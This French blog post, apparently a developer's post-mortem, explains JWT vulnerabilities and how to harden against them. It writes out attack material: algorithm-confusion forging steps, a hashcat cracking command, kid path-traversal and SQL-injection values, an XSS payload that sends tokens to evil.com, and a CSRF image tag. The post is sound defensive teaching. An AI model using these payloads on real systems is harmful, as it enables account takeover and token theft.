L'alerte de 3h du matin qui a changé ma vision de JWT
2h47 un mercredi. Mon téléphone vibre sans arrêt. Une ligne dans le canal ops : “API admin accédée sans autorisation en staging.”
J'ouvre le portable à moitié endormi. Les logs montrent qu'un utilisateur tout juste inscrit a pris son JWT, changé role de user à admin dans le payload, et appelé l'endpoint de suppression. Le serveur a répondu 200 OK.
Mon estomac s'est noué. On utilisait JWT. N'était-ce pas “sécurisé” ? Comment une simple édition de champ a tout contourné ?
Le post-mortem a été une leçon d'humilité : ce n'était pas la faute de JWT. On l'avait traité comme une solution miracle. Après ça, j'ai audité chaque usage de JWT dans la codebase et j'ai eu la nausée : alg:none non bloqué, secret 123456, tokens dans localStorage, expiration à 30 jours… tous les anti-patterns du manuel.
Ce billet est le démontage que j'aurais voulu avoir. JWT est un design élégant, mais élégant veut dire faible tolérance à l'abus. Un pas de travers et vous donnez les clés.
D'abord les bases : ce que JWT est et n'est pas
Le mythe le plus dangereux : “JWT est chiffré.” Non. JWT signifie JSON Web Token. Il répond à “est-ce que c'est moi qui ai émis ça et ça a été altéré ?” pas à “comment cacher des données ?”
Un JWT normal a trois parties séparées par des points :
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMywicm9sZSI6InVzZXIifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
- Header:
{"alg":"HS256","typ":"JWT"}— “Je suis signé en HS256.” - Payload:
{"uid":123,"role":"user"}— données métier, juste encodées en Base64Url. Tout le monde peut les décoder. - Signature: HMAC ou RSA sur les deux premières parties avec la clé/algorithme du header.
Pensez à JWT comme une carte postale avec un sceau de cire. Tout le monde peut lire ce que vous avez écrit, mais si le sceau ne correspond pas, ça a été altéré. N'écrivez jamais votre code PIN sur une carte postale.
Alors arrêtez de mettre password, phone ou SSN dans le payload. Le pire que j'ai vu, c'était un SELECT * de la table users fourré dans un token — 8 Ko par requête, écrasant la gateway.
Catégorie 1 : Confusion d'algorithme — Élégante et mortelle
C'est la classe de bug JWT la plus célèbre, publique depuis 2015, pourtant beaucoup de libs “font confiance à l'alg du client”.
1. Changer alg en none et le serveur dit “bien sûr !”
none est un algorithme JWS valide signifiant “pas de signature”. Il existe pour les cas non sécurisés. Une mauvaise vérification ressemble à :
// NE FAITES PAS ÇA
const [h] = token.split('.');
const header = JSON.parse(base64UrlDecode(h));
if (header.alg === 'none') return true; // pas de vérif !
return verify(token, secret);
L'exploit est trivial : changez le header en {"alg":"none"}, mettez le payload à {"role":"admin"}, supprimez la signature. Le serveur vous laisse entrer.
Quand j'ai reproduit ça en staging, mes mains tremblaient. Un changement de chaîne = admin.
Défense : Appliquez une allowlist. Le serveur code en dur algorithms: ['HS256'] ou ['RS256']. Rejetez none. Le jsonwebtoken moderne désactive none par défaut, mais les vérifieurs maison échouent encore.
2. Bascule RS256 → HS256 : Utiliser la clé publique comme secret HMAC
Celle-ci a brûlé de grosses boîtes.
RS256 est asymétrique : clé privée signe, clé publique vérifie. HS256 est symétrique : même secret signe et vérifie.
Bug : certaines libs choisissent la méthode de vérif selon header.alg. L'attaquant prend un token RS256, change le header en HS256, et le serveur pense : “Oh, HS256 ? Alors je vérifie en HMAC avec le ‘secret’.” Et le “secret” utilisé est la clé publique RS256 — qui est publique.
# Étapes attaquant
1. Récupérer la clé publique RS256 depuis /.well-known/jwks.json
2. Construire header {"alg":"HS256","typ":"JWT"}
3. Construire payload {"uid":1,"role":"admin"}
4. Signer en HS256 en utilisant la chaîne de clé publique comme secret
5. Le serveur vérifie le HMAC avec la même clé publique → passe
Tim McLean l'a divulgué en 2015 ; beaucoup de libs Python/Ruby ont été touchées. Subtil, dévastateur.
Défense : Deux règles : ① L'algorithme de vérif est configuré côté serveur, jamais depuis le token. ② Gardez clés publiques RS256 et secrets HS256 séparés. Passez toujours algorithms: ['RS256'] explicitement.
3. Ne jamais faire confiance aux headers contrôlés par le client
header.alg est contrôlé par l'attaquant. Traitez-le comme isAdmin=true venant du client — ne lui faites jamais confiance.
Catégorie 2 : Clés — Minces comme du papier quand mal faites
1. Secrets faibles : 123456 n'est pas un secret
J'ai brute-forcé des secrets JWT avec hashcat en secondes : secret, password, 123456, jwt_secret. Acronyme d'entreprise + année comme acme2023 est à peine mieux. Les signatures JWT sont déterministes, donc l'attaquant peut brute-forcer hors ligne sans toucher votre serveur.
hashcat -a 0 -m 16500 jwt.txt rockyou.txt
Défense : Au moins 32 octets aléatoires : openssl rand -hex 32. Tournez immédiatement si vous avez livré un secret faible et invalidez les anciens tokens.
2. Fuite de clés : Frontend, GitHub, Logs
Trois fuites vues en audit :
- Bundle frontend :
JWT_SECRETlivré dansapp.js. Cherchable dans devtools. - GitHub :
.envcommité avecmy_super_secret_123. - Logs : Tokens complets loggés vers ELK, visibles par tous. Une fuite de token équivaut à une fuite de clé.
Certains frameworks fuient même le secret dans les messages d'erreur en cas d'échec de vérif.
Défense : Les clés vivent uniquement dans les env vars ou KMS. Le frontend stocke des tokens, jamais des secrets. Masquez les tokens dans les logs.
3. kid — La porte dérobée oubliée
Le champ header kid (Key ID) dit au serveur quelle clé utiliser :
const kid = header.kid;
const key = getKey(kid); // souvent concat de chaîne
verify(token, key);
Si getKey est naïf :
- Path traversal :
kid="../../dev/null"→ le serveur utilise un fichier vide comme clé. - SQLi :
kid="1' OR '1'='1"si kid est concaténé en SQL. - Probe lecture fichier :
/keys/${kid}.pemaveckid="../../../../etc/passwd".
J'ai déjà énuméré des kids valides via des différences de timing sur “key not found”.
Défense : Allowlist stricte pour kid (alphanum + tiret). Utilisez une map, jamais d'interpolation de chemin/SQL.
4. jku et x5u — Laisser l'attaquant choisir votre clé
jku (JWK Set URL) et x5u (X509 URL) disent “récupérez ma clé publique à cette URL”. Si le serveur leur fait confiance, l'attaquant pointe jku vers son propre serveur et le serveur va joyeusement chercher la clé de l'attaquant pour vérifier le token de l'attaquant.
Défense : Désactivez jku/x5u/x5c en prod. Si vous devez, allowlistez les domaines + forcez HTTPS.
Catégorie 3 : Expiration, Révocation, Replay — Le prix du stateless
L'argument de vente de JWT — stateless — est aussi sa malédiction. Les sessions sont faciles à révoquer : supprimez la session. Un JWT, une fois émis, est un chèque irrévocable jusqu'à expiration. Mot de passe changé, compte banni, token volé — l'attaquant en profite jusqu'à expiration.
J'ai vu exp à 30 jours ou jamais. “Pour une meilleure UX, pas de login.” Puis un téléphone perdu = fenêtre de 30 jours.
Le bon pattern — courte durée + révocable :
- Access token court : 5–15 min, claims minimales.
- Refresh token rotatif : Plus long, stocké httpOnly + DB. Invalidez l'ancien refresh à l'usage. Détection de réutilisation : même refresh utilisé deux fois → révoquez tous les tokens de l'utilisateur.
- Blocklist/allowlist : Au logout/changement de mdp/ban, mettez
jtidans Redis avec TTL = durée restante. Vérifiez la blocklist à la vérif. Oui, ça rend stateful — compromis nécessaire. - Validez aud, iss, nbf : Beaucoup de vérifieurs sautent
aud/iss. Résultat : token du service A marche sur service B.
jwt.verify(token, publicKey, {
algorithms: ['RS256'],
issuer: 'auth.mycompany.com',
audience: 'api.mycompany.com',
clockTolerance: 5
});
Catégorie 4 : Où vous stockez JWT décide comment vous mourrez
| Où | Avantages | Inconvénients | Comment ça fuit |
|---|---|---|---|
| localStorage / sessionStorage | Facile pour le frontend | Tout JS peut lire | Un seul XSS vole tout |
| Variable en mémoire | Parti à la fermeture d'onglet | Perdu au refresh | Plus sûr mais mauvaise UX |
| Cookie httpOnly + Secure + SameSite | JS ne peut pas lire, résistant XSS | Risque CSRF | Besoin de jeton CSRF |
Erreur la plus courante : mettre le token dans localStorage pour la commodité, puis une boîte de commentaires sans filtrage XSS se fait injecter <img src=x onerror=fetch('https://evil.com?c='+localStorage.getItem('token'))> — tokens de tous les visiteurs moissonnés.
Les cookies ne sont pas magiques non plus : auto-envoyés, ils permettent CSRF — <img src="https://api.mycompany.com/transfer?to=attacker"> déclenche une requête authentifiée si l'utilisateur est connecté.
Pattern stable aujourd'hui : access token en mémoire, refresh token en cookie httpOnly + Secure + SameSite=Strict, plus SameSite et jeton anti-CSRF. Refresh au reload. Et HTTPS partout, sinon les tokens sont en clair sur le fil.
Catégorie 5 : Claims oubliés
Signature valide ≠ métier valide. Beaucoup de codebases font req.user = decoded après vérif et sautent :
- exp non vérifié — certaines libs ne vérifient pas l'expiration par défaut.
- nbf non vérifié — “not before” ignoré, token utilisé en avance.
- Privilèges dans payload de confiance : mettre
role/isVipdans JWT et lui faire confiance. Mieux : JWT ne porte queuid, récupérez les privilèges depuis DB/cache. - Replay : Pas de déduplication
jti, token volé rejoué. Pour actions sensibles, imposezjtià usage unique ou liezjti + ip + ua.
Checklist de durcissement prod — Ce que j'impose maintenant
- Allowlist d'algorithme : Codez en dur
algorithms: ['RS256']. Ne lisez jamais alg depuis le header. Désactivez none, jku, x5u. - Clés fortes, rotatives : ≥32 octets aléatoires pour HS256, ≥2048-bit pour RS256. Stockez en KMS/env, supportez rotation par kid, gardez ancienne clé 7 jours.
- Expiration courte + rotation : access 10 min, refresh 7 jours rotatif + blocklist au logout/changement mdp/ban.
- Payload minimal : Seulement
uid,jti,exp,iat. Pas de PII. Utilisez JWE si besoin de données sensibles. - Validation stricte : Vérifiez iss, aud, exp, nbf, jti. Ne faites jamais confiance à JWT pour l'autorisation ; interrogez le serveur.
- Stockage : Refresh en cookie httpOnly, access en mémoire. Masquez logs, imposez HTTPS, CSP contre XSS.
- Observabilité : Tracez émission/refresh/révocation jti, alertez sur réutilisation.
En une ligne : traitez JWT comme un pass jetable, pas une pièce d'identité permanente.
Conclusion : JWT n'est pas cassé — La confiance aveugle l'est
Le design de JWT est sobre : trois parties, Base64Url, algorithmes optionnels, claims standards. Presque chaque “insécurité” est paresse d'implémentation : faire confiance à alg pour gagner du temps, secrets faibles pour commodité, expiration d'un mois pour l'UX, fourrer permissions dans payload pour vitesse.
C'est comme un couteau de cuisine : pas dangereux en soi, mais agitez-le les yeux bandés et vous vous couperez.
Si vous utilisez JWT aujourd'hui, grepez votre codebase ce soir : un verify(token, secret) sans algorithms ? Un secret en clair dans config.js ? Un token expirant en jours ? Corrigez-en un, vous avez évité une alerte à 3h du matin.
N'attendez pas une brèche pour vous souvenir de ce billet.
